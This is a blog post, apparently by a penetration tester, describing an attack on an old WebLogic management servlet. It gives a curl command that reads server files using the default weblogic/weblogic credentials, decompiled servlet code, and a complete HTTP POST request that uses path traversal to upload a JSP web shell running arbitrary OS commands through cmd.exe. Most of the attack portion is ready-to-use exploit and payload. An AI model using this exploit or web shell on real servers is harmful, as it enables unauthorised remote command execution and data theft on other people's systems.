WebLogic undocumented hacking

WebLogic undocumented hacking

pz 2014-10-03    

During an external pentest – what a surprise – I found a WebLogic server with no interesting contents. I searched papers and tutorials about WebLogic hacking with little success. The public exploitation techniques resulted in only file reading. The OISSG tutorial only shows the following usable file reading solution:

curl -s http://127.0.0.1/wl_management_internal2/wl_management -H "username: 
weblogic" -H "password: weblogic" -H "wl_request_type: file" 
-H "file_name: c:\boot.ini"

You can read the WAR, CLASS, XML(config.xml) and LOG(logs\WeblogicServer.log) files through this vulnerability.
This is not enough because I want run operating system commands. The HACKING EXPOSED WEB APPLICATIONS, 3rd Edition book mentioned an attack scenario against WebLogic, but this was only file read although it was based on a great idea:
The web.xml of wl_management_internal2 defined two servlets, FileDistributionServlet and BootstrapServlet. I downloaded the weblogic.jar file with the mentioned attack and decompiled the FileDistributionServlet.class:

total 128
drwxr-xr-x  2 root root  4096 2014-10-03 14:54 ./
drwxr-xr-x 24 root root  4096 2004-06-29 23:18 ../
-rw-r--r--  1 root root  7073 2004-06-29 23:17 BootstrapServlet$1.class
-rw-r--r--  1 root root  8876 2004-06-29 23:17 BootstrapServlet.class
-rw-r--r--  1 root root  1320 2004-06-29 23:17 BootstrapServlet$MyCallbackHandler.class
-rw-r--r--  1 root root  1033 2004-06-29 23:16 FileDistributionServlet$1.class
-rw-r--r--  1 root root  1544 2004-06-29 23:16 FileDistributionServlet$2.class
-rw-r--r--  1 root root   945 2004-06-29 23:16 FileDistributionServlet$3.class
-rw-r--r--  1 root root   956 2004-06-29 23:16 FileDistributionServlet$4.class
-rw-r--r--  1 root root   927 2004-06-29 23:16 FileDistributionServlet$5.class
-rw-r--r--  1 root root   950 2004-06-29 23:16 FileDistributionServlet$6.class
-rw-r--r--  1 root root 21833 2004-06-29 23:16 FileDistributionServlet.class
-rw-r--r--  1 root root   364 2004-06-29 23:16 FileDistributionServlet$FileNotFoundHandler.class
-rw-r--r--  1 root root 38254 2014-10-03 12:24 FileDistributionServlet.jad
-rw-r--r--  1 root root  1378 2004-06-29 23:16 FileDistributionServlet$MyCallbackHandler.class
root@s2crew:/

The FileDistributionServlet had the following interesting function:

private void internalDoPost(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)
        throws ServletException, IOException
    {
        String s;
        String s1;
        InputStream inputstream;
        boolean flag;
        String s2;
        String s3;
        boolean flag1;
        s = httpservletrequest.getHeader("wl_request_type");
        httpservletresponse.addHeader("Version", String.valueOf(Admin.getInstance().getCurrentVersion()));
        s1 = httpservletrequest.getContentType();
        inputstream = null;
        Object obj = null;
        flag = true;
        s2 = null;
        s3 = httpservletrequest.getHeader("wl_upload_application_name");
        flag1 = "false".equals(httpservletrequest.getHeader("archive"));
        Object obj1 = null;
        String s4 = null;
        if(s3 != null)
        {
            ApplicationMBean applicationmbean;
            try
            {
                MBeanHome mbeanhome = Admin.getInstance().getMBeanHome();
                applicationmbean = (ApplicationMBean)mbeanhome.getAdminMBean(s3, "Application");
            }
            catch(InstanceNotFoundException instancenotfoundexception)
            {
                applicationmbean = null;
            }
            if(applicationmbean != null)
            {
                File file = new File(applicationmbean.getFullPath());
                s4 = file.getParent();
            }
        }
        if(s4 == null)
        {
            s4 = Admin.getInstance().getLocalServer().getUploadDirectoryName() + File.separator;
            if(s3 != null)
                s4 = s4.concat(s3 + File.separator);
        }
        Object obj2 = null;
        if(s1 != null && s1.startsWith("multipart") && s.equals("wl_upload_request"))
        {
            httpservletresponse.setContentType("text/plain");
            Object obj3 = null;
            try
            {
                MultipartRequest multipartrequest;
                if(httpservletrequest.getHeader("jspRefresh") != null && httpservletrequest.getHeader("jspRefresh").equals("true"))
                {
                    s2 = httpservletrequest.getHeader("adminAppPath");
                    multipartrequest = new MultipartRequest(httpservletrequest, s2, 0x7fffffff);
                } else
                {
                    multipartrequest = new MultipartRequest(httpservletrequest, s4, 0x7fffffff);
                }
                File file1 = multipartrequest.getFile((String)multipartrequest.getFileNames().nextElement());
                s2 = file1.getPath();
                flag = false;
                if(flag1)
                {
                    String s5 = s2.substring(0, s2.lastIndexOf("."));
                    extractArchive(s2, s5);
                    s2 = s5;
                }
----- CUT ------

After the investigating the function, I constructed the following HTTP POST request:

POST /wl_management_internal2/wl_management HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:20.0) Gecko/20100101 Firefox/20.0
Connection: keep-alive
username: weblogic
password: weblogic
wl_request_type: wl_upload_request
wl_upload_application_name: ..\..\..\..\..\..\..\..\..\you_can_define_the_upload_directory
archive: true
Content-Length: XXXX
Content-Type: multipart/form-data; boundary=---------------------------55365303813990412251182616919
Content-Length: 959
-----------------------------55365303813990412251182616919
Content-Disposition: form-data; name="file"; filename="cmdjsp.jsp"
Content-Type: application/octet-stream
// note that linux = cmd and windows = "cmd.exe /c + cmd" 
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>
<%=output %>
<!--    http://michaeldaw.org   2006    -->
-----------------------------55365303813990412251182616919--

This is simple as that. The prerequisite of this exploit is the default weblogic/weblogic account.
This is what I call real hacking!

;)